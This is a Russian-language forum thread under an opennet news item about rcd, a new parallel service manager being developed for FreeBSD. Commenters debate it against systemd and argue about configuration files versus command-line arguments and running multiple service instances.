Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от opennews (ok), 10-Сен-26, 10:22
Батист Даруссен (Baptiste Daroussin), член FreeBSD Core Team и автор пакетного менеджера pkg, развивает новый системный менеджер для FreeBSD - rcd. Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=66245
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "Для FreeBSD развивают новый системный менеджер rcd"	–33 +/–
Сообщение от JoePeach (ok), 10-Сен-26, 10:22
Зачем изобретать systemd, если systemd же есть?
Ответить | Правка | Наверх | Cообщить модератору

	3. "Для FreeBSD развивают новый системный менеджер rcd"	+8 +/–
	Сообщение от Аноним (3), 10-Сен-26, 10:27
	NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
	Ответить | Правка | Наверх | Cообщить модератору

	131. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (-), 11-Сен-26, 00:16
	Линукс не терпит конкурентов.
	Ответить | Правка | Наверх | Cообщить модератору

	170. "Для FreeBSD развивают новый системный менеджер rcd"	–3 +/–
	Сообщение от Аноним (-), 11-Сен-26, 10:33
	> Линукс не терпит конкурентов. Linux пофиг на конкурентов. Там прокладывают свой путь, решая свои проблемы и достигая свои цели. Если вы оказались на пути шоссе - дорожный каток легко раздавит пару клопов. Воняй, не воняй, прокладка шоссе - не остановится. Поэтому вы либо съе...сь от катка, либо будете закатаны в асфальт. Разница в масштабах - работает так. А вон то - типачное нечто в стиле BSD. Не решает ни 1 проблемы + создает новые. 1) Разлапистый синтаксис. Говорят что краткость сестра таланта. И если сравнить юниты sd с вон тем... 2) О да, скриптинг, на одном правильном языке, прям в этой штуке - это очень юниксвэйно. 3) И наверняка будет длинная очередь из майнтайнеров - просто мечтающих убить свое время на въезд в чей-то навороченный полет мысли в каких-то скриптах. Вы уж извините - но разнесение кода и конфигурации было EPIC WIN - а вы так ничего и не поняли. Код вперемешку с конфигурацией это очень плохой паттерн, если все это поддерживать надо и тем более - другому человеку передать.
	Ответить | Правка | Наверх | Cообщить модератору

	7. "Для FreeBSD развивают новый системный менеджер rcd"	+7 +/–
	Сообщение от Аноним (7), 10-Сен-26, 10:38
	А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда. Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	68. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 10-Сен-26, 15:58
	> Оно не живёт в PID1 Инит без pid 1? Хех. > и всё, что может сломаться, не несёт туда. Прямо как systemd... Ох уж эта опеннетная кекспертиза. Вы бы хоть разобрались что да как чтобы предметно хейтить.
	Ответить | Правка | Наверх | Cообщить модератору

	427. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (427), 13-Сен-26, 17:07
	> Инит без pid 1? Хех. А это не init. Написано же: > Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает. Так что это, скорее, дальнейшее развитие идеи daemon tools, а не systemd.
	Ответить | Правка | Наверх | Cообщить модератору

	442. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (442), 13-Сен-26, 19:11
	> Инит без pid 1? Представь себе, да, есть и такое. Сабж же не системДа, которое всё в одном.
	Ответить | Правка | К родителю #68 | Наверх | Cообщить модератору

	184. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Аноним (184), 11-Сен-26, 11:38
	> А это не systemd. Оно не живёт в PID1 и всё, что > может сломаться, не несёт туда. > Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио. В ваших влажных мечтах. Кому в проде надо художества на Lua прямо в системной конфигурации? Разделение на код и ДЕКЛАРАТИВНУЮ конфигурацию это лучшее что sd сделал. А кому сие мало - зовут скрипты через Exec* но это они будут делать только если реально приперло. А в целом проды будут избавлены от свободных художников желающих варить в скрипте кофе (тем более что реально сварить кофе и тем более притащить его в постель у них кишка все равно тонка).
	Ответить | Правка | К родителю #7 | Наверх | Cообщить модератору

	10. "Для FreeBSD развивают новый системный менеджер rcd"	+12 +/–
	Сообщение от Аноним (10), 10-Сен-26, 10:42
	systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	118. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:02
	Дело не в протащить, дело в том что заинтересованных в этом нет.
	Ответить | Правка | Наверх | Cообщить модератору

	180. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (180), 11-Сен-26, 11:21
	Потому и нет заинтерисованных, что фиг протащишь. Команда systemd даже linux дистрибьютеров посылает с их идеями и предложениями, freebsd вооще без варинтов.
	Ответить | Правка | Наверх | Cообщить модератору

	189. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:45
	> systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить > эти фичи в ядро БСД просто так не получится. К cgroups2 прибит не только sd но и всякие контейнеры и проч. Хотя если бсд это не надо - то чьи это проблемы? Могут пытаться свои ифейсы для этого продвигать, только их поддерживает примерно - никто. Ну или можно вопить что контейнеры в нормальном виде - не надо :). А то ишь чего придумали, ресурсы контейнерам полисовать!
	Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

	21. "Для FreeBSD развивают новый системный менеджер rcd"	–6 +/–
	Сообщение от опеншлёпивпродакшн (?), 10-Сен-26, 11:24
	Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	34. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от pfg21 (ok), 10-Сен-26, 12:28
	чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	53. "Для FreeBSD развивают новый системный менеджер rcd"	+5 +/–
	Сообщение от Гуманоид (?), 10-Сен-26, 14:17
	за конфиги на json есть отдельный котел в аду
	Ответить | Правка | Наверх | Cообщить модератору

	71. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (71), 10-Сен-26, 16:01
	только ini :)
	Ответить | Правка | Наверх | Cообщить модератору

	90. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (90), 10-Сен-26, 19:45
	XML
	Ответить | Правка | Наверх | Cообщить модератору

	128. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Аноним (71), 11-Сен-26, 00:03
	я вот одного понять не могу никак, на кой программе которая имеет конфигурационный файл еще и аргументы командной строки? Я могу там понять максимум опция --version, а все остальное зачем когда есть конфигурационный файл?
	Ответить | Правка | Наверх | Cообщить модератору

	151. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от bergentroll (ok), 11-Сен-26, 06:02
	Удобново. В CI каких-нибудь условных запускать, не создавая конф. Либо через env-переменные.
	Ответить | Правка | Наверх | Cообщить модератору

	223. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:11
	А разве не удобно готовить конфиг под разные задачи и тем самым потом не ковырять чем запуск одной лапши отличается от другой. Кто-нибудь в здравом уме хотя бы раз запускал тот же gcc cо всеми необходимыми опциями, библиотеками инклудами и т.д.? Поэтому придумали системы сборки чтобы такую лапшу каждый раз в командной строке не писать? Сложно сделать нечто подобное project.conf и запускать gcc --conf=project.conf ?
	Ответить | Правка | Наверх | Cообщить модератору

	315. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от bergentroll (ok), 12-Сен-26, 06:20
	> А разве не удобно готовить конфиг под разные задачи А если надо несколько раз прогнать с немного разными опциями, то несколько конфигов записывать.
	Ответить | Правка | Наверх | Cообщить модератору

	326. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 13:32
	> А если надо несколько раз прогнать то есть несколько раз запустить, и что мы делаем? пишем заново руками все опции? или сохраняем в условный run.sh? Ниже в коментах описал это, это ничем не отличается от конфига, аргументы это избыточное дублирование, в коде нужно писать парсер как аргументов, так и конфига если он будет использоваться.
	Ответить | Правка | Наверх | Cообщить модератору

	336. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от bergentroll (ok), 12-Сен-26, 14:39
	> в коде нужно писать парсер как аргументов, так и конфига если > он будет использоваться. Не является чем-то существенным в современном ПО, тем более реализовано в библиотеках.
	Ответить | Правка | Наверх | Cообщить модератору

	155. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:28
	Как минимум через комм строку удобнее передевать: - путь к конфиг файлу - путь к пид файлу - флаг чтобы запускать демоном/интерактивно - хэлп/usage
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	190. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:48
	> Как минимум через комм строку удобнее передевать: > - путь к конфиг файлу Это надо - только в случае кастомных конфигов. Если они есть. И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > - путь к пид файлу Pid файлы это вообще жесточайший легаси костыль, который должен умереть. > - флаг чтобы запускать демоном/интерактивно > - хэлп/usage Это вообще - user facing штуки.
	Ответить | Правка | Наверх | Cообщить модератору

	197. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:54
	>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Осильте nix.
	Ответить | Правка | Наверх | Cообщить модератору

	236. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:56
	>>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > Осильте nix. Дорогой фанат nix, в этом вашем nix что, системды нету? Того же tor там может быть - одна копия как программы установлен. Но s-d позволяет запустить 5 разных инстансов с разными конфигами, если оно надо. Это же - с любыми иными программами, httpd там или vpn, или что там еще - если надо эн инстансов с разной конфигурацией. А копия программы в системе при этом одна. Представляете, вполне валидно запустить 5 инстансов httpd с разными настройками. Один там допустим для user-facing, другой как некий хосп аппсервера, третий еще что-нибудь типа морды управления и доступный например только через интранет вообще. И так далее. Это все ортогонально nix - так любой дистр с s-d может. А в bds как обычно - удобства во дворе...
	Ответить | Правка | Наверх | Cообщить модератору

	246. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:22
	>но более-менее общими свойствами запуска? Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Если вас устроит дублирование конфигов и ручная правка - хватит и обычного systemd.
	Ответить | Правка | Наверх | Cообщить модератору

	258. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:40
	>>но более-менее общими свойствами запуска? > Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Это какая-то очень нишевая хотелка. Я вот честно, не обломаюсь скопировать 5 конфигов tor или httpd и нарулить их так как надо в энном инстансе. Более того - "common core" чреват тем что при нужде сменить параметр там, и новые значения ок не всем инстансам - довольно много головняка будет. > Если вас устроит дублирование конфигов и ручная правка - хватит > и обычного systemd. У меня не настолько огромные конфиги чтобы их реюз и дедубликация был серьезным топиком. Если они становятся такими - возможно, кто-то что-то делает не так на совсем другом уровне... А в случае sd конкретно - можно еще разнести это по разным юзерям, с разными лимитами ресурсов, ограничениями доступа к системе и проч.
	Ответить | Правка | Наверх | Cообщить модератору

	286. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:33
	> И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Не понял о чём речь? Пишите понятней. > Pid файлы это вообще жесточайший легаси костыль, который должен умереть. Не вижу проблемы, кроме только той, что pid реюзается в системе.
	Ответить | Правка | К родителю #190 | Наверх | Cообщить модератору

	222. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:06
	> - путь к конфиг файлу конечно, как и --version я еще могу понять > - путь к пид файлу прочесть из конфига никак? > - флаг чтобы запускать демоном/интерактивно все так же в конфиге, daemon = on/off > - хэлп/usage так этот хэлп и usage по командной строке или по всему конфигу? нет смысла когда есть практика man.
	Ответить | Правка | К родителю #155 | Наверх | Cообщить модератору

	288. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:35
	Прочесть из конфига можно, но это не всегда удобно. usage по комм строке естессно. И это мы ещё не дошли до переменных окружения - мне лично они больше нравятся чем парсить комм строку, прям на порядки удобнее и со стороны передающей и со стороны принимающей.
	Ответить | Правка | Наверх | Cообщить модератору

	162. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 09:40
	Например, для запуска нескольких экземпляров одновременно.
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	225. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:15
	и для этого мне нужен аргумент командной строки? Даже если нет аргумента конфига можно это реализовать так. Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) конфигурации для разных экземпляров. А потом достаточно написать ./my_program, которая прочтет конфиг увидит в конфиге две декларации для запуска и запустит два экземпляра самой себя с разными распарсенными конфигами. Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это.
	Ответить | Правка | Наверх | Cообщить модератору

	239. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 16:05
	> и для этого мне нужен аргумент командной строки? Ну а как ты иначе раздашь разные конфиги разным инстансам? В обязаловку затребуешь отдельный контейнер этой приблуде? Даже если это не было частью плана админа? > Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) > конфигурации для разных экземпляров. И получить вместо 5 мелких конфигов - один убер-монстр где в одну ломовую простыню будет запихано вообще совсем все. И при желании сменить пару параметров в вон том очевидном сервисе - придется вкуривать в навороченный монстр с вообще всем. Еще lua его обмазать, навороченных условий типа применения конфига только в полнолуние високосного года, во админ будет рад когда им в полнолуние високосного года - пятки почему-то прострелит, максимально неочевидным способом. Именно такой прод все и хотят! > А потом достаточно написать ./my_program, которая > прочтет конфиг увидит в конфиге две декларации для запуска и запустит > два экземпляра самой себя Это что, у нас будет еще +1 способ запуска софта? А допустим рестарты при вылете - тоже оно будет рюхать? Или там мониторинг зависонаов? И что делать если  мы под разными допустим юзерями хотим разные части запустить? Ну а зачем допустим аппсерверу с своим добром иметь доступ - к файлам морды мониторинга какой, например? Чтоб при случае 31337 x4x0r смог этим всем убедительно порулить? > с разными распарсенными конфигами. Я не вижу > необходимости два раза запускать одну и ту же программу, если она > сама может сделать это. А я... 1) Не вижу нужды кодить в каждой программе эрзац-подобие сервис-менеджера. При том убого и самопально. 2) При том это будет убого и самопально. 3) Когда все программы этим занимаются - это еще и дофига кода дублируется. 4) И вообще - у всех по разному - так что удачи в администрировании такого зоопарка. 5) Далеко не все смогут в нормальный авторестарт, мониторинг зависонов и проч. 6) И предлагается этой штуке дать висеть с правами рут? Или как оно под разными юзерями например будет запускать эн инстансов? А с разными ресурсными лимитами? Или даже в разных контейнерах?
	Ответить | Правка | Наверх | Cообщить модератору

	251. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:48
	> Ну а как ты иначе раздашь разные конфиги разным инстансам? Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. > В обязаловку затребуешь отдельный контейнер этой приблуде? Ну все, ясно, очередной нейрослоупок!
	Ответить | Правка | Наверх | Cообщить модератору

	306. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 12-Сен-26, 00:58
	>> Ну а как ты иначе раздашь разные конфиги разным инстансам? > Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. Довольно похабненько и с своими проблемами. В виде колупания конфига чуть не с войну и мир если инстансов много - и весьма специфичным головняком. >> В обязаловку затребуешь отдельный контейнер этой приблуде? > Ну все, ясно, очередной нейрослоупок! Да, я и правде не догоняю - зачем такая ацкая похабщина в общем случае нужна.
	Ответить | Правка | Наверх | Cообщить модератору

	245. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:20
	>Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это. Вы переизобретаете велосипед. Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? И так далее.
	Ответить | Правка | К родителю #225 | Наверх | Cообщить модератору

	250. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:46
	> Вы переизобретаете велосипед. подробней, где такое поведение реализовано? У вас с логикой все в порядке? Вы меня опровергаете и тем временем говорите что я переизобретаю то, что уже существует? Это же противоречие! > Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Дописать конфиг для нового экземпляра, и послать сигнал перечитки конфига, в чем проблема? У вас nginx разве не так работает? > Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? Другая версия программы никакого отношения к конфигу не имеет, можно механизмом лайв патчинга, либо еще просто, завершить текущую программу и запустить свежую. пс: учитывая ваши противоречивые суждения, делаю вывод, что вЫЫ нейрослоупок, отвечать на этот комент не надо, на этом диалог завершен!
	Ответить | Правка | Наверх | Cообщить модератору

	289. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:38
	Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. Да, идея то красивая и для юзера просто высший класс, но с точки зрения кода просто ад сплошной.
	Ответить | Правка | Наверх | Cообщить модератору

	301. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 23:27
	> Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. ну а чем это отличается от парсинга аргументов командной строки? Или пихающий usage в код программы, а не в мануал :) Зачем тратить время на это? > но с точки зрения кода просто ад сплошной. Ну в чем тогда разница между парсингом аргументов и парсингом условного ini конфига? Повторяю, usage еще пихать в код это тот самый адЪ о котором вы говорите, не так ли?
	Ответить | Правка | Наверх | Cообщить модератору

	332. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:32
	Потому что парсер комм строки - берётся из либы, внутри проги это просто цикл со свичём, тупа механическая работа по конвертации имя-значение. Тоже самое с ini, даже в случае своего парсера. Usage - просто принт с портянкой текста. Вы же там хотели чтобы процесс на лету применял новый конфиг без перезапуска. Если у вас нечто сложнее хэлло ворлда то это ппц как не привиально. Даже на примере того же nginx. У тебя есть процесс загруженый с конфигом, есть те кто уже обслуживается с теми параметрами что были заданы. Тут прибегает админ с новыми очень важным изменением - что приложению то делать с клиентами если не хочется перезапускатся с дропом? Вот nginx продолжает обслуживать тех кто уже есть со старым конфигом до тех пор пока они сами не уйдут. И только потом освобождает всё что с этим было связано. А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?)
	Ответить | Правка | Наверх | Cообщить модератору

	358. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:18
	> А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?) А какой ад творится когда при ddos-е в лям соединений сделать грейсфулл шатдаун, так и целый день он будет выключаться. Но и это все решаемо.
	Ответить | Правка | К родителю #332 | Наверх | Cообщить модератору

	362. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 22:36
	Решаемо, но со стороны програмистов не очень то любимо/приятно такое решать.
	Ответить | Правка | К родителю #358 | Наверх | Cообщить модератору

	176. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:52
	> я вот одного понять не могу никак, на кой программе которая имеет > конфигурационный файл еще и аргументы командной строки? Я могу там понять > максимум опция --version, а все остальное зачем когда есть конфигурационный файл? Ну, у меня вот было требование обеспечения стабильного поведения без сайд-эффектов и возможности модификации в рантайме. А то поменяет кто конфигу, а приложение не перезапустит, или гонки-гоночки если оно за состоянием файла бдит - оно нам надо? Оно нам не надо...
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	200. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:01
	Осильте nix и у решатся проблемы ваши.
	Ответить | Правка | Наверх | Cообщить модератору

	204. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:25
	> Осильте nix и у решатся проблемы ваши. Сектант, что ли? Эта проблема в инфраструктурном слое - не решается.
	Ответить | Правка | Наверх | Cообщить модератору

	207. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:40
	>Сектант, что ли? Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без перезапуска программы, а вы этого даже не замечаете.
	Ответить | Правка | Наверх | Cообщить модератору

	210. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:10
	>>Сектант, что ли? > Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без > перезапуска программы, а вы этого даже не замечаете. Ну, детализируйте мне его - может, я правда чего не понимаю? А то совет "возьми сепульку - и рантайм у тебя всегда будет соответствовать конфигурации" хороший, но немного так не полный.
	Ответить | Правка | Наверх | Cообщить модератору

	219. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 14:19
	>Ну, детализируйте мне его - может, я правда чего не понимаю? Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, и изменённые сервисы перезагружаются. Без гонок и прочей магии.
	Ответить | Правка | Наверх | Cообщить модератору

	224. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:13
	>>Ну, детализируйте мне его - может, я правда чего не понимаю? > Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, > и изменённые сервисы перезагружаются. Без гонок и прочей магии. Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Вот совсем-совсем никак? Или чуть-чуть можно?
	Ответить | Правка | Наверх | Cообщить модератору

	242. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:15
	>Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Совершенно верно, нельзя, поскольку /nix смонтирован в как только для чтения.
	Ответить | Правка | К родителю #224 | Наверх | Cообщить модератору

	248. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:42
	Прикольная идея. Не знал, спасибо.
	Ответить | Правка | К родителю #242 | Наверх | Cообщить модератору

	226. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:17
	HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да даже лайв кернел патчинг давно уже существует, а тут за какую-то "формулу один" говорите, все давно уже придумано как этого всего избежать.
	Ответить | Правка | К родителю #176 | Наверх | Cообщить модератору

	229. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:30
	> HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да > даже лайв кернел патчинг давно уже существует, а тут за какую-то > "формулу один" говорите, все давно уже придумано как этого всего избежать. Так проблема - если не брать мрии никсоводов - как раз в том и есть, что "в жизни" кто-то рано или поздно ОБЯЗАТЕЛЬНО конфигурацию вот поправит - а сервис не передернет. Всякая инфраструктурная обвязка с хэшами конфигмап в общем помогает, но делать её самому из-палка-унд-веревка там, где нет готовых решений - ну, такое себе.
	Ответить | Правка | Наверх | Cообщить модератору

	235. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:55
	> конфигурацию вот поправит - а сервис не передернет. тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после правки должен быть протестирован в тестовом окружении, после этого принимается решение применения его к продакшену, все это заранее планируется, и передергивает сервис в продакшене уже совсем другие компетентные люди. И в таком случае ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом передернуть. Без правки, необходимости в передергивании просто нет. И тут сразу возникает вопрос, а есть ли механизм как то узнать по запущенной программе какую версию конфига она исполняет? Значит должен быть какой-то config.lock.
	Ответить | Правка | Наверх | Cообщить модератору

	237. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:59
	>[оверквотинг удален] > тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после > правки должен быть протестирован в тестовом окружении, после этого принимается решение > применения его к продакшену, все это заранее планируется, и передергивает сервис > в продакшене уже совсем другие компетентные люди. И в таком случае > ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а > какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом > передернуть. Без правки, необходимости в передергивании просто нет. > И тут сразу возникает вопрос, а есть ли механизм как то узнать > по запущенной программе какую версию конфига она исполняет? Значит должен быть > какой-то config.lock. Угу. Вот я и решил, что забить всю конфигурацию в параметры командной строки (Вру, не всю - пароль не стал) - как будто самое простое, что может решить проблему. Гарантии собственно обеспечивает операционная система, визибилити вот, прям на ладони ). Удобство... этого слова в ТТ не было )))
	Ответить | Правка | Наверх | Cообщить модератору

	253. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:52
	> Вот я и решил, что забить всю конфигурацию в параметры командной строки и никаких run.sh верим верим :))))
	Ответить | Правка | Наверх | Cообщить модератору

	257. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 17:33
	>> Вот я и решил, что забить всю конфигурацию в параметры командной строки > и никаких run.sh верим верим :)))) А чем он тебе в контексте задачи помешал? Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. А как её в приложение пихнуть - дело уже десятое.
	Ответить | Правка | Наверх | Cообщить модератору

	261. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 18:07
	> Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. я должен из консоли выдирать строку с опциями потом их распарсить, чтобы понять какие параметры конфигурации при запуске использовались? А перезапускать надо через убивание процесса, и полчаса вводить все аргументы запуска, удачи вам без run.sh это делать.
	Ответить | Правка | К родителю #257 | Наверх | Cообщить модератору

	272. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 19:43
	Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно.
	Ответить | Правка | К родителю #261 | Наверх | Cообщить модератору

	285. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 22:27
	> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. Так вопрос как раз в том, зачем мне нужны эти аргументы командной строки, если я могу описать их в файле, аля конфиге, и случай как раз таки с systemd unit, run.sh, ничем не отличается от того, что я предлагаю - отказаться от аргументов командной строки и использовать банальный конфиг! > А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже давно придуман.
	Ответить | Правка | К родителю #272 | Наверх | Cообщить модератору

	338. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:07
